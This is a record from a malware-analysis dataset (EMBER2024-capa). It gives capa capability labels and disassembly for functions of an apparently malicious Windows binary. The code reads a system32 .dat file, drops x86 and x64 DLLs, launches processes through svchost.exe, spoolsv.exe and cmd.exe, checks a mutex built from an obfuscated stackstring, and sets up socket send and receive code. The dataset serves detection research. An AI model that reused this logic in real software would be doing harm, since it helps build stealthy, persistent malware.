joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000db88
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001f258]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000b84c
xor ebx, ebx
cmp qword [0x140023660], rbx
mov rdi, rax
jne 0x14000dc9b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000dd72
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000dd72
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140023660], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140023668], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140023670], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140023680], rax
test rax, rax
je 0x14000dc92
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140023678], rax
jmp 0x14000dca2
mov rax, qword [0x140023678]
jmp 0x14000dca9
mov rax, qword [0x140023678]
mov r11, qword [0x140023680]
cmp rax, rdi
je 0x14000dd10
cmp r11, rdi
je 0x14000dd10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140023680]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000dd10
test rax, rax
je 0x14000dd10
call rsi
test rax, rax
je 0x14000dd0a
lea rcx, [rsp + 0x30]
mov r9d, recv
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000dd0a
test byte [rsp + 0x40], 1
jne 0x14000dd10
bts ebp, 0x15
jmp 0x14000dd50
mov rcx, qword [0x140023668]
cmp rcx, rdi
je 0x14000dd50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000dd50
call rax
mov rbx, rax
test rax, rax
je 0x14000dd50
mov rcx, qword [0x140023670]
cmp rcx, rdi
je 0x14000dd50
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000dd50
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140023660]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000dd72
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000dd74
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140008a10
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x63880
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov ebx, r9d
mov dword [rsp + 0x20], 0xf0000000
mov rdi, r8
lea rcx, [rsp + 0x30]
mov ebp, 1
xor r8d, r8d
mov r9d, ebp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x638d0
xor al, al
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rdx, [0x00091af0]
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov r8d, 0x94
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x638be
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8003
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x638be
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x638be
mov r9, qword [rsp + 0x38]
xor bl, bl
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptVerifySignatureA]
mov rcx, qword [rsp + 0x50]
test eax, eax
movzx ebx, bl
cmovne ebx, ebp
test rcx, rcx
je 0x63982
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x63994
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbp, qword [rsp + 0x60]
movzx eax, bl
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x639b0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
push r15
sub rsp, 0x48
xor r15d, r15d
lea rcx, str.C:Windows_system32_rdphxv.dat
mov rdi, r8
mov qword [rsp + 0x30], r15
mov r14, rdx
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov dword [rsp + 0x20], 3
lea r8d, [r15 + 1]
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x63a0c
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
lea rdx, [rsp + 0x88]
mov qword [rsp + 0x40], rbp
mov rcx, rsi
mov qword [rsp + 0x88], r15
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebp, dword [rsp + 0x88]
mov ecx, 0x40
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [r14], rax
test rax, rax
jne 0x63a61
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x40]
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x78], rbx
mov ebx, ebp
mov dword [rdi], r15d
test ebp, ebp
jle 0x63a9e
nop
mov rdx, qword [r14]
lea r9, [rsp + 0x70]
mov r8d, ebx
mov dword [rsp + 0x70], r15d
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x63a9e
add dword [rdi], eax
sub ebx, eax
test ebx, ebx
jg 0x63a70
mov rcx, rsi
mov rbx, qword [rsp + 0x78]
cmp dword [rdi], ebp
je 0x63acb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x40]
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x40]
mov al, 1
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret

Function at 0x63d80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov edi, r8d
mov dword [rsp + 0x28], 0x80
mov rsi, rdx
mov dword [rsp + 0x68], 0
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x63dfa
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
test eax, eax
jne 0x63e0c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov al, 1
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x63e30
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor r15d, r15d
mov rdi, r8
mov r14, rdx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r15 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x63e8b
xor al, al
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebp, dword [rsp + 0x40]
mov ecx, 0x40
lea ebx, [rbp + 1]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov qword [r14], rax
call fcn.00071b90
cmp qword [r14], r15
jne 0x63ede
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x63f49
mov dword [rdi], r15d
mov ebx, ebp
test ebp, ebp
jle 0x63f27
nop word [rax + rax]
mov rdx, qword [r14]
lea r9, [rsp + 0x88]
mov r8d, ebx
mov dword [rsp + 0x88], r15d
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x88]
test eax, eax
je 0x63f27
add dword [rdi], eax
sub ebx, eax
test ebx, ebx
jg 0x63ef0
mov rcx, rsi
cmp dword [rdi], ebp
je 0x63f41
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
jmp 0x63f49
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret

Function at 0x63f70
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0xc0
xor r14d, r14d
mov rbx, r8
mov rsi, rdx
mov dword [rsp + 0x50], r14d
mov rbp, rcx
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [r14 + 0x60]
call fcn.00071b90
lea ecx, [r14 + 0x18]
call fcn.0006e964
xor edx, edx
lea r8d, [r14 + 0x68]
lea rcx, [rsp + 0x50]
mov rdi, rax
call fcn.00071b90
xor eax, eax
lea rcx, [rsp + 0x50]
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbx
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov rdx, rsi
mov dword [rsp + 0x28], 0x20
mov rcx, rbp
mov dword [rsp + 0x20], r14d
mov dword [rsp + 0x50], 0x68
mov word [rsp + 0x90], r14w
mov dword [rsp + 0x8c], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea r11, [rsp + 0xc0]
test eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
cmovne r14, rdi
mov rsi, qword [r11 + 0x20]
mov rax, r14
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x66270
Capabilities:
Create directory
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x390
mov rax, qword [0x00090008]
xor rax, rsp
mov qword [rsp + 0x380], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.00071b90
lea rax, str.Diagnostics.txt
mov r9, rdi
lea r8, [0x0008b2e0]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x50]
call fcn.00064200
xor ebx, ebx
lea rcx, str.C:Windows_system32_rdphxv.dat
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x66411
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x48], rbx
lea r8, [rsp + 0x48]
mov dword [rsp + 0x40], ebx
mov edx, 0x153
call fcn.00063af0
test al, al
je 0x66411
mov rbx, qword [rsp + 0x48]
lea rcx, [rsp + 0x50]
mov r8d, dword [rsp + 0x40]
mov rdx, rbx
call fcn.00063d80
test al, al
je 0x66411
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.000640a0
test al, al
je 0x66411
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edx, edx
lea rcx, [rsp + 0x160]
mov r8d, 0x104
call fcn.00071b90
xor edx, edx
lea rcx, [rsp + 0x270]
mov r8d, 0x104
call fcn.00071b90
mov r9, rdi
lea r8, str._sx86.dll
mov edx, 0x104
lea rcx, [rsp + 0x160]
call fcn.00064200
mov r9, rdi
lea r8, str._sx64.dll
mov edx, 0x104
lea rcx, [rsp + 0x270]
call fcn.00064200
lea r8, [rsp + 0x160]
mov edx, 0x1a7
call fcn.00066440
test al, al
je 0x66411
lea r8, [rsp + 0x270]
mov edx, 0x1ac
call fcn.00066440
test al, al
setne al
jmp 0x66413
xor al, al
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.0006e940
mov rbx, qword [rsp + 0x3a8]
add rsp, 0x390
pop rdi
ret
Function at 0x669a0
Capabilities:
Create thread
Get common file path

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x6a0
mov rax, qword [0x00090008]
xor rax, rsp
mov qword [rsp + 0x690], rax
mov rdi, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x360]
mov r8d, 0x104
call fcn.00071b90
mov edx, 0x104
lea rcx, [rsp + 0x360]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x104
call fcn.00071b90
xor edx, edx
lea rcx, [rsp + 0x250]
mov r8d, 0x104
call fcn.00071b90
xor edx, edx
lea rcx, [rsp + 0x470]
mov r8d, 0x104
call fcn.00071b90
xor edx, edx
lea rcx, [rsp + 0x580]
mov r8d, 0x104
call fcn.00071b90
xor edx, edx
lea rcx, [rsp + 0x140]
mov r8d, 0x104
call fcn.00071b90
mov r9, rdi
lea r8, str._sprocess1.txt
mov edx, 0x104
lea rcx, [rsp + 0x30]
call fcn.00064200
mov r9, rdi
lea r8, str._sprocess2.txt
mov edx, 0x104
lea rcx, [rsp + 0x250]
call fcn.00064200
lea rax, [rsp + 0x30]
mov r9, rdi
lea r8, str._c__s_svchost.exe____s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x470]
call fcn.00064200
lea rax, [rsp + 0x250]
mov r9, rdi
lea r8, str._c__s_spoolsv.exe____s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x580]
call fcn.00064200
lea r9, [rsp + 0x360]
mov edx, 0x104
lea r8, str._scmd.exe
lea rcx, [rsp + 0x140]
call fcn.00064200
mov rcx, rdi
call fcn.000664a0
test al, al
jne 0x66b0b
xor al, al
jmp 0x66c2f
lea r8, str.WIN72K8R2
mov rdx, rsi
mov rcx, rdi
call fcn.00066590
test al, al
je 0x66b04
mov qword [rsp + 0x6c0], rbx
nop dword [rax]
mov r8, rdi
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x140]
call fcn.00063f70
mov rbx, rax
test rax, rax
je 0x66c25
mov rcx, qword [rax]
mov edx, 0x2bf20
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0x18
mov rcx, rbx
call fcn.0006e9a0
lea rcx, [rsp + 0x30]
call fcn.00066830
test eax, eax
jne 0x66b91
lea r8, [0x0008b444]
mov rdx, rsi
mov rcx, rdi
call fcn.00066590
jmp 0x66b30
sub eax, 1
je 0x66c25
mov r8, rsi
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.00066670
test al, al
je 0x66c25
mov r8, rdi
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x140]
call fcn.00064060
test al, al
je 0x66c25
mov ecx, 0x80
call fcn.0006e9a8
xor edx, edx
mov r8d, 0x80
mov rcx, rax
mov rbx, rax
call fcn.00071b90
mov r8, rsi
mov edx, 0x80
mov rcx, rbx
call fcn.00074734
xor eax, eax
lea r8, [0x00066c50]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x66c27
xor al, al
mov rbx, qword [rsp + 0x6c0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.0006e940
mov rsi, qword [rsp + 0x6c8]
add rsp, 0x6a0
pop rdi
ret
Function at 0x67d70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebp, ebp
mov r14, rcx
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
add rcx, 0x114
mov dword [rsp + 0x20], 3
lea r8d, [rbp + 1]
mov ebx, ebp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x67e0f
mov eax, ebx
inc ebx
cmp eax, 0xa
jg 0x67ea5
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
lea rcx, [r14 + 0x114]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x67dc0
mov ebx, dword [r14 + 0x10]
lea r8, [rsp + 0x60]
mov eax, dword [r14 + 0xc]
mov edx, ebx
xor r9d, r9d
mov dword [rsp + 0x60], eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, 0x19000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], rbp
mov r8d, 0x18ff7
mov rsi, rax
mov byte [rax], 0x33
lea rdx, [rax + 9]
mov ecx, dword [rsp + 0x60]
mov dword [rax + 1], ecx
mov rcx, rdi
mov dword [rax + 5], ebx
mov dword [rsp + 0x68], ebp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x68]
test r8d, r8d
je 0x67e93
add r8d, 9
mov rdx, rsi
mov rcx, r14
call fcn.00067f70
jmp 0x67e9c
mov rcx, qword [r14]
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x684e0
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x00090008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov esi, r8d
mov rdi, rdx
xor r8d, r8d
mov ebp, 2
mov ecx, ebp
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
test rax, rax
jne 0x68524
xor eax, eax
jmp 0x685a5
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
je 0x6851d
xor eax, eax
mov word [rsp + 0x28], bp
movzx ecx, si
mov qword [rsp + 0x2a], rax
mov dword [rsp + 0x32], eax
mov word [rsp + 0x36], ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x2a], ax
mov r8d, 0x10
mov rax, qword [rdi + 0x18]
lea rdx, [rsp + 0x28]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, rbx
mov dword [rsp + 0x2c], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x6851d
mov rdx, rbx
call fcn.00068770
mov ecx, 0x428
call fcn.0006e964
lea rcx, vtable.Tcp.0
mov qword [rsp + 0x20], rax
mov qword [rax], rcx
mov qword [rax + 0x420], rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.0006e940
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x685c0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [rcx + 0x420]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
test eax, eax
jne 0x685e5
or eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
jns 0x685fb
call fcn.0007484c
cmp dword [rax], 4
jne 0x685dc
call fcn.0007484c
cmp dword [rax], 0x1c
je 0x685dc
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x68610
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 0x420]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov edx, eax
lea ecx, [rax + 1]
or eax, 0xffffffff
cmp ecx, 1
cmova eax, edx
add rsp, 0x28
ret

Function at 0x686a0
Capabilities:
Get socket status

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [rcx + 0x420]
lea r8, [rcx + 0x210]
xor ebx, ebx
mov r10, rcx
mov dword [rcx + 8], ebx
mov r9d, ebx
mov dword [r8], ebx
mov qword [rcx + 0x10], rax
inc dword [rcx + 8]
mov ecx, dword [r8]
test ecx, ecx
je 0x686f5
mov edx, dword [r10 + 0x420]
nop word [rax + rax]
mov eax, r9d
cmp qword [r10 + rax*8 + 0x218], rdx
je 0x686f5
inc r9d
cmp r9d, ecx
jb 0x686e0
cmp r9d, ecx
jne 0x68714
cmp ecx, 0x40
jae 0x68714
mov ecx, dword [r10 + 0x420]
mov eax, r9d
mov qword [r10 + rax*8 + 0x218], rcx
inc dword [r8]
mov ecx, dword [r10 + 0x420]
lea rax, [rsp + 0x40]
inc ecx
mov qword [rsp + 0x40], 0x12c
xor r9d, r9d
mov qword [rsp + 0x20], rax
lea rdx, [r10 + 8]
call qword [sym.imp.WS2_32.dll_select]
mov ebx, eax
test eax, eax
jns 0x6874d
call fcn.0007484c
cmp dword [rax], 4
jne 0x68751
test ebx, ebx
jne 0x6875a
or eax, 0xffffffff
add rsp, 0x30
pop rbx
ret
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x68770
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x00090008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rdx
mov dword [rsp + 0x50], 1
mov rcx, rbx
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 8
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x68803
xor ecx, ecx
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x40], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
lea r8, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov edx, 0x98000004
mov dword [rsp + 0x28], ecx
lea r9d, [rcx + 0xc]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov dword [rsp + 0x5c], 0x2bf20
mov dword [rsp + 0x60], 0x3e8
call qword [sym.imp.WS2_32.dll_WSAIoctl]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.0006e940
add rsp, 0x70
pop rbx
ret
Function at 0x68830
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1f0
mov rax, qword [0x00090008]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
movdqa xmm0, xmmword [0x0008b810]
lea r8, [rsp + 0x1c0]
mov edx, 1
mov dword [rsp + 0x1d0], 0x38422d39
xor ecx, ecx
mov dword [rsp + 0x1d4], 0x46333837
movdqu xmmword [rsp + 0x1c0], xmm0
mov word [rsp + 0x1d8], 0x7d
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test rbx, rbx
je 0x688cd
test al, al
je 0x688e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.0006e940
add rsp, 0x1f0
pop rbx
ret
mov al, 1
jmp 0x688cf

Function at 0x688f0
Capabilities:
Check for time delay via gettickcount
Create thread
Terminate process

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, [0x00068820]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.00068830
test al, al
jne 0x68917
xor eax, eax
add rsp, 0x38
ret
mov ecx, 0xbb8
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
lea r8, [0x00065f60]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x00068b70]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x00066f30]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x00064260]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xa4cb80
jae 0x689ce
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xa4cb80
jb 0x689b4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x689e0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x00090008]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov esi, edx
mov rdi, rcx
mov edx, 1
mov ebp, 2
mov ecx, ebp
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x68a5f
mov rcx, rdi
mov word [rsp + 0x20], bp
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, si
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rbp + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, rbx
cmp eax, 0xffffffff
jne 0x68a63
call qword [sym.imp.WS2_32.dll_closesocket]
xor al, al
jmp 0x68a6b
call qword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
